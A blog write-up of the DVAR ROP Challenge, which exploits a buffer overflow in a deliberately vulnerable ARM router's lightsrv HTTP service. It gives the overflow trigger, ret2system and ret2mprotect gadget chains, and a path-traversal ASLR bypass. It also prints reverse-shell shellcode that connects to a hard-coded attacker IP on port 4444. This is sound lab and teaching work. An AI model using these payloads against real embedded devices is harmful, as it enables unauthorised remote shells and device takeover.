Write-up: DVAR ROP Challenge

Not long after I took the „ARM IoT Exploit Laboratory“ training by @therealsaumil, the following tweet popped up on my timeline:

Since ROPping on ARM can easily become a major pain, I decided to take a look at the DVAR ROP Challenge. After getting gdb to play along as I wanted it to do, finding the buffer overflow in lightsrv was straight-forward. From there, the real pain and a lot of (re)searching started, finally giving me a reverse shell through a ret2sys rop chain:

So, apparently, there’s even more research due, and I was awarded with even more knowledge and the dark rings around my eyes got their own dark rings ?

The complete conversation on Twitter can be found, here.

What follows, is a walk-through starting with fine-tuning gdb for easier debugging, triggering the buffer overflow in lightsrv and gaining the first reverse shell via a ret2sys rop chain. Afterwards, the journey for finding mprotect() in a seemingly broken libc.so will be described, finishing with a working ret2mprotect rop chain which allows to “bx sp” using any shellcode that we place on the stack, without having to rely on certain binaries being present at the target system (which would be the case when returning to the system() function in libc).

Setting up GDB

Attacking the service was done from a Kali Linux x86_64 VM. Since the target is running on ARM architecture, we first need to get the multi-architecture version of the GNU debugger:

apt update && apt install gdb-multiarch

Additionally, it is recommended to pimp gdb with GEF – GDB Enhanced Features for exploit devs & reversers. It will make debug (and exploitation) life a lot easier.

On the target system, gdbserver will be used for remotely debugging the lightsrv binary from the attacking machine. That way, no additional software needs to be installed (or cross-compiled and copied) on the target:

Since the lightsrv binary is forking for each connection, gdb has to be configured to follow the child process. In order to not having to constantly restart the gdbserver on the target machine, gdb should also be told to not detach from the parent/main process. Finally, a connection to the remote gdbserver can be established:

Triggering the buffer overflow

Using Python (since I was too lazy to find out how to tell netcat to send CRLF line endings) and netcat, the buffer overflow can be easily triggered with the following command:

python -c "print 'GET /' + 'A'*4096 + ' HTTP/1.1\r\nHost: BBBBBBBB\r\n\r\n'" | nc <dvar_ip> 8080

Gdb will follow the forked child process, catch the crash and pause the target’s execution for further investigation:

As can be seen, several registers have been overwritten by the overly long URI that was requested and a segmentation fault was triggered. Since this only indicates that the binary can be crashed in a somewhat controlled way, it doesn’t yet give enough information for exploiting the crash. Thus, we let the child process simply die away by telling gdb to continue execution. Using the “info inferiors” command, the parent process’ ID can be found, and we can simply attach to that, again:

If we hadn’t disabled the “detach on fork” option, we would now have to restart gdbserver on the target and connect to it, again. This can become quite annoying, as we will produce quite a lot more crashes ?

Understanding the crash circumstances and finding an exploit vector

From this point on, I will use the awesome pwntools Python library, as it allows for quick exploit development, providing many useful functions and hiding all the tedious boilerplate that usually were required.

For finding out which parts of the overly long URI affected which register, a De Bruijn sequence will be generated using the pwnlib’s cyclic() function:

Investigating the crash in gdb and searching the values’ offsets inside the De Bruijn sequence tells us quite a few things:

  1. The general-purpose registers $r4 to $r8 have been overwritten consecutively, starting at offset 2034 of the sequence.
  2. The Link-Register has been overwritten by the next 4 bytes after R8.
  3. At the time of the crash, the program counter had been set to the same value as $lr. The least-significant bit of a jump’s target address specifies, whether the next instruction should be run in ARM- or THUMB-mode but is cleared upon setting $pc’s value.
  4. The stack pointer is pointing directly behind the overwrite-location of $lr/$pc.
  5. Registers $r1, and $r9 to $r12 are all pointing to some locations inside the stack. This is important to keep in mind, as it will help getting a stack address to invoke mprotect() on (to make the stack, or parts of it, executable).

In order to verify the found offset for controlling $pc, a new crash (after letting the child process die and re-attaching to the parent process) is triggered with another payload:

Utilizing a few other features of gdb and GEF, we can further investigate the crash’s surroundings:

  1. The checksec command tells us that only NX/DEP is active. All other security mechanisms are not used by the target binary/system.
  2. There is no mprotect() available in the binary, or any of its loaded libraries O.o
  3. Luckily, there is a reference to the system() function inside the PLT (Procedure Linkage Table; used for linking and accessing external functions).
  4. The binary is linked against libc.so and libgcc_s.so.1, with their .text sections starting at 0x40000000 and 0x40078000, respectively.

One last thing, before the ropping can begin, is to check for any bad characters. This can be easily achieved by repeatedly:

  1. Iterating over all 256 characters
  2. Skipping all blacklisted characters
  3. Appending them right after the $lr-overwrite (where $sp will point to, at crash time)
  4. Crashing the lightsrv binary and investigating the stack for mangled values and string cut-offs
  5. Adding mangled/cutting-off characters to the blacklist

Making an educated guess (based on the crashing payload’s location inside the HTTP request), the string-terminating NULL-byte and URI-terminating whitespace characters had been added to the blacklist right from the start:

Looking at the stack, we can see that the initial 2 values are the only bad characters that need to be avoided:

Alternatively to the above representation in 8-byte little-endian hex values, gdb can also be told to display each byte individually:

ROPping around to gain a first (reverse) shell

Since the stack is marked as non-executable, we can’t simply place some shellcode there and jump right into it. Instead, a rop chain has to be built that re-uses existing instructions, mixed with attacker-controlled data. Since lightsrv’s code section is mapped to a memory region containing at least one (leading) NULL-byte (starting at offset 0x00010000), we will use libc.so to find the proper instructions.

For quickly finding required gadgets, the tool ropper is used. Since ARM CPUs can operate in 2 modes, we will run 2 instances of ropper in parallel – one in ARM and one in THUMB mode. More often than not, when ARM assembly code gets interpreted as (ARM)THUMB code one can find instructions that a programmer (or the compiler) would never even consider to use ?

The very first gadget that is usually required is a simple pop {pc} which retrieves the next address from stack and continues execution at that address:

Looking at the definition of the system() function, we can see that there is only one parameter required: a pointer to the command string. If we look at the PLT address of system inside the lightsrv binary, we can see that it contains a leading NULL and thus can’t be provided, directly. Instead we’ll search for a rop gadget where 2 registers are subtracted from (or added to, since we can use a negative number to achieve subtraction) each other:

Since the first results affects $r0 which is required for supplying the function’s argument, we’ll simply take the second one. The smallest NULL-byte-free positive number is 0x01010101. Adding that to system’s PLT address, we get our value for $r1: 0x01020AC9. As those values have to be retrieved from the stack, we’ll search for according POP instructions with ropper. While searching for a POP instruction that only affects $r1 (and $pc, of course), we’ll notice that there is an instruction in THUMB mode that pops both (and only those) registers that we need. As mentioned above, we can easily switch to THUMB mode by simply setting the target address’ LSB. For our convenience, ropper will already show the “mode-switching” target address colored in green. In order to jump to system(), we’ll also need a “bx r1” or “blx r1” instruction which can be found inside the ARM mode instructions:

Now that we have a path to system(), we need to find a way to provide a pointer to the command to be executed. We need to find a way to reliably calculate the exact address on the stack, since we can’t really add any NOP instructions to “slide” to the correct location:

The found gadget will affect $r1 which we planned to use for jumping to the system call, so we’ll have to craft our pointer to the command, first. We will also have to find a gadget that moves the value of $r1 to $r0. Additionally, we will have to set $r3 to the address of the previously found “pop {pc}” instruction, since this is the register that will be used for calculating our “return address”.

Once we have a pointer to the stack in $r1, we will also have to add a certain offset to it, since the command will be placed behind our rop chain. Writing down the rop chain will help with that offset calculation, and the previously found “sub r1, r1, r3” gadget can be used with a negative value for $r3 to add that offset to the retrieved address:

  Gadget address / data Instruction(s) / notes
1 0x0002139c pop {pc};
2 0x0005a447 THUMB: pop {r3, pc};
3 0x0002139c pop {pc};
4 0x000437ac add r1, sp, #7; mov r0, r4; blx r3;
5 0x0005a447 THUMB: pop {r3, pc};
6 <offset> Offset to command
7 0x00058c8c sub r1, r1, r3; bx lr;
8 0x00051778 mov r0, r1; bx lr;
9 0x0005a067 THUMB: pop {r1, r3, pc};
10 0x01020AC9 Value for $r1
11 0x01010101 Value for $r3
12 0x00058c8c sub r1, r1, r3; bx lr;
13 0x00043850 blx r1;
14 <command> The command to be executed

After retrieving a pointer to the current stack location, 10 DWORD values follow with the 10th being the beginning of our command. Since $r1 holds a pointer to the 5th element on the stack plus 7, we need to add 29 (4 * 9 – 7) to the address (or rather subtract -29 from the address), in order to point to the beginning of the command. For testing purpose, to see that all is set up correctly, we’ll replace the “blx r1” instruction in line 13 with a random 4-byte value to crash the binary:

Apparently, the service crashed, but not at the point we wanted it to crash. Looking at the register values, we can see that the last successfully executed instruction of our rop chain was the first “sub r1, r1, r3” in line 7: $r1 points to the beginning of our command, but somehow a value further down the stack was popped into $pc. After the subtraction finished, the code resumes at the address that $lr points to. Though it had initially been overwritten with the address of a “pop {pc}” instruction, it now points to a completely different address. This can be easily fixed by adding a “pop lr” gadget and providing the according address, again. But why did it happen?

The answer is quite simple: When retrieving the stack pointer in line 4, execution was continued by jumping to $r3. Since we don’t use a “branch and execute” (bx), but a “branch, link and execute” (blx) instruction, the link register gets updated with the address of the instruction that follows the blx. So, before we can use $lr, again, it first has to be repaired:

We will use the highlighted gadget for a couple of reasons:

  1. It only affects registers that we don’t really care about.
  2. It affects as little registers as possible, granted that:
  3. We don’t need to set up an additional register for returning

So, after line 6, 4 more lines have to be added: one for the instruction’s address and 3 for the popped registers’ values:

  0x0004aacc pop {r0, r4, lr}; bx lr;
  ‘r0r0’ Junk for $r0
  ‘r4r4’ Junk for $r4
  0x0002139c pop {pc};

The offset will also have to be adjusted, since we added 16 more bytes to the stack:

Looks like everything is correct and we can finally pop our reverse shell. Investigating the target system, it became apparent that we are quite limited in terms of remote administration tools: telnet is not available (which was originally deemed as an option for a ret2sys bind shell), and the same applies to python and perl. The shell is provided by busybox and we thus can’t use some Bash foo utilizing /dev/tcp. Netcat is also provided by busybox, and thus highly limited. All it can do is establish a connection to an IP address (or hostname) on a specific port. Luckily, there is mkfifo, so we can craft a working reverse shell piping a FIFO’s output into netcat, netcat’s output into /bin/sh, and the shell’s output back into the FIFO. Since we can’t rely on the command being properly terminated with a NULL-character, the last command is terminated with a semicolon followed by the hash symbol to comment out the trailing data. Since the whitespace character would break our payload, we simply use horizontal tabs as a substitute (ash doesn’t care too much about which blank character is used):

Detour: Bypassing ASLR

The offset to libc.so’s .text section had been hard-coded. As soon as ASLR were disabled, this wouldn’t work anymore, since on each start, the location of the loaded libraries in memory would change.

Luckily, while poking around at lightsrv, it was discovered that we can request arbitrary files using a path traversal payload. That way, we can retrieve the process’ memory map and simply parse it for libc’s offset:

Finding mprotect()

Since return-to-system rop chains are highly dependent on other binaries being present, it would be desirable to rather craft a return-to-mprotect-to-stack chain, allowing us to execute arbitrary shellcode without any external dependencies.

According to gdb, the mprotect() function wasn’t available in the lightsrv process’ context. This is rather weird, as it is usually provided by libc.so which lightsrv is linked against. Since we already retrieved a copy of the used libc.so, we can investigate it with objdump to (hopefully) quickly find the function’s offset:

My first thought was that the VM image might be corrupted (since my system tends to act strange, lately). I downloaded the .zip, again, verified the provided checksum, fired up a fresh copy of the VM and retrieved the libc, again. Unfortunately, this yielded the same results. So, apparently, the library was further stripped down to save even more space (as other libs showed the same behavior). I have no idea what the devs of OpenWRT did, but apparently everything still works.

If we can’t retrieve the offset statically, there might be a chance to find it dynamically. In order to do so, the following assembly code had been crafted:

.global _start
.extern mprotect

    mov r0, #0xbe
    lsl r0, #8
    add r0, #0xff
    lsl r0, #16
    add r0, r0, #0xd000
    mov r1, #0x1000
    mov r2, #7
    bl mprotect
    mov r0, #0
    mov r7, #1
    svc 0

Unfortunately, the DVAR image comes without any build tools. Fortunately, I took the awesome “ARM IoT Exploit Laboratory” training where Saumil provided all trainees with an “exploitlab” VM. The VM contains several prepared Qemu images for the ARM architecture. Using the ARMv7 image, the assembly can easily be assembled, linked and then be transferred to the DVAR system:

Assembling the object file worked flawlessly but linking against libc.so (using the same dynamic linker that was used for lightsrv), ld returns an error. Looking at ld’s help output revealed that one can specify an option to ignore unresolved external symbols. That binary can then be transferred to the target system and investigated dynamically, using gdbserver, again:

Connecting our local gdb-multiarch to the gdbserver, we can disassemble the binary’s entry point, find the according code location where mprotect is being called through the PLT and simply break on that location:

When we continue the debugee’s execution, gdb will break on the according location and GEF will show us where we branch to:

From here, we can single-step until we finally hit an address that starts with 0x400 and should thus reside in libc’s .text section, also denoting the beginning of the real mprotect() function:

At this point, a little caution is required, though. If we simply subtracted the previous offset of libc – 0x40000000 – from that address, we’ll end up with another segmentation fault, due to jumping to a completely different function. Instead, the xinfo command should be used to retrieve the offset. For some reason, libc had been loaded several times into memory, which wasn’t the case with the lightsrv binary. Might be that this was caused by my quick-and-dirty approach for building a simple binary that just uses mprotect ^^

If you, dear reader, know about a better way for getting mprotect’s offset in libc, feel free to leave a comment ?

ROPping to shellcode via mprotect

Now that we have found mprotect, we can adjust the previous rop chain to rather call mprotect with the according arguments, marking (a part of) the stack executable and jumping into our own HTTP-compatible reverse shell shellcode. Looking at the definition of mprotect, we need to provide 3 parameters:

  1. A page-aligned address of the memory region we want to modify (the stack)
  2. The size of the memory region we want to adjust (enough to not cripple our shellcode)
  3. A protection mask (RWX in our case)

The values will have to be provided via the registers $r0 through $r2. In order to get a page-aligned stack address, we can reuse gadgets from our previous chain, and then simply apply a logical AND with 0xfffe1001 (since we will take care of the retrieved stack address’ LSB to be 0, this will work out properly). Using ropper, we can come up with the following rop chain for setting $r0:

1 0x000437ac add r1, sp, #7; mov r0, r4; blx r3;
2 0x0004ace0 pop {r0, r4, lr}; bx lr;
3 ‘r0r0r4r4’ Junk for popped $r0 and $r4
4 0x0002139c lr = pop {pc};
5 0x00037c07 THUMB: movs r0, r1; blx lr;
6 0x0005a447 THUMB: pop {r3, pc};
7 0xfffe1001 Our mask for page-aligning the stack address
8 0x0002617c pop {lr}; add sp, sp, #4; bx lr;
9 0x0002139c lr = pop {pc};
10 ‘AAAA’ Account for “add sp, sp, 4” in line 8
11 0x0002e390 add r0, r0, #1; bx lr;
12 0x00024f28 and r0, r0, r3; bx lr;

In lines 2 and 8, we need to fix the link register, as its value got corrupted by the blx instructions. In line 11, we increment $r0 by 1, since it gets set up with an odd value in line 1 and we need to set the AND mask’s LSB to avoid NULL-bytes.

During the training, Saumil showed a nice trick in regards to mprotect’s size parameter: base address + size may very well overflow the process’ memory range, without anyone really bothering to yell at us (e.g. by raising a SIGSEGV). So, we can simply use the smallest, positive NULL-byte-free value for $r1:

1 0x00058ee4 pop {r1, pc};
2 0x01010101  

Setting the value for $r2 was one of the biggest challenges, but finally worked out with following gadgets:

1 0x000598b7 THUMB: pop {r0, pc};
2 0x07070707  
3 0x000353ac and r0, r0, #0xf; bx lr;
4 0x000599f5 THUMB: str r0, [sp]; pop {r2, r3, r5, pc};
5 ‘r2r2’ Junk, will be overwritten by str r0, [sp]
6 0x0002139c r3 = pop {pc}; will be needed, later
7 ‘r5r5’  

The instructions in line 4 finally did the trick: First, the desired protection mask in $r0 will be written to the current top of the stack. Afterwards, this value will be popped off the stack, back into $r2 ?

All that’s left is finding a gadget that allows us to jump into the stack. One such gadget can be found at offset 0x00050c09 (in THUMB mode) in the form of a “blx sp”.

Now that we know which registers are affected by which sub-chain, we can put them in a sane order:

  1. Assign the value 7 to $r2
  2. Assign a page-aligned stack address to $r0
  3. Assign the value 0x01010101 to $r1
  4. Call mprotect()
  5. Jump to the shellcode
  6. The actual shellcode

For the shellcode, we will use a simple reverse shell that was optimized to fit into the restrictions the lightsrv service sets:

.section .text
.global _start

	adr		r1, THUMB+1
	bx		r1
.code 16
	/* socket(2,1,0) - syscall 281 */
	mov		r1, #1
	add		r0, r1, #1
	eor		r2, r2, r2
	mov		r7, #255
	add		r7, #26
	svc		#1

	/* save the sockfd in r11 */
	mov		r11, r0

	/* connect(sockfd, &addr, 16) - syscall 283 */
	adr		r1, ADDR
	strb	r2, [r1, #1]	/* write null byte */
	mov		r2, #16
	mov		r7, #255
	add 	r7, #28
	svc		#1

	/* dup2 - syscall 63 */
	mov		r0, r11
	eor 	r1, r1, r1
	mov		r7, #49
	add		r7, #14
	svc		#1

	mov		r0, r11
	mov		r1, #1
	svc		#1

	mov		r0, r11
	mov		r1, #2
	svc		#1

	/* execve */
	adr		r0, BINSH
	eor		r2, r2, r2
	strb	r2, [r0, #7]	/* Write NULL-terminator for string */
	push	{r0, r2}
	mov		r1, sp
	mov		r7, #11
	svc		#1	

.balign	4

.byte		0x02,0xff		/* AF_INET */
.byte		0x11,0x5c		/* Port 4444*/
.byte		192,168,150,100	/* IP Address */

.ascii		"/bin/shX"

Putting it all together, we will first (once again) replace the final “blx sp” with a random value to check that everything is set as expected (especially with regards to the now executable stack):

Since all looks good, and we accounted for the several blx instructions corrupting our link register, it’s time finally pop the shell:

The shellcode, mptotect test assembly, as well as 2 extensively commented Python scripts utilizing pwntools can be found on GitHub. If you have any comments/questions/whatever, feel free to leave a comment or ping me on Twitter ?

3 thoughts on “Write-up: DVAR ROP Challenge”

  1. For finding mprotect did you try using “nm” ?

    $ nm -D ./lib/libc.so.0 | grep mprotect
    0000c8a4 T mprotect

    1. Thank you for the hint. Unfortunately, this also doesn’t work. The problem is that the section headers are corrupted, so that nm also can’t find any symbols.

      $ file libc.so
      libc.so: ELF 32-bit LSB shared object, ARM, EABI5 version 1 (SYSV), dynamically linked, corrupted section header size

      $ nm -D libc.so | grep mprotect
      nm: libc.so: no symbols

      $ arm-unknown-linux-gnu-nm -D libc.so | grep mprotect
      arm-unknown-linux-gnu-nm: libc.so: no symbols

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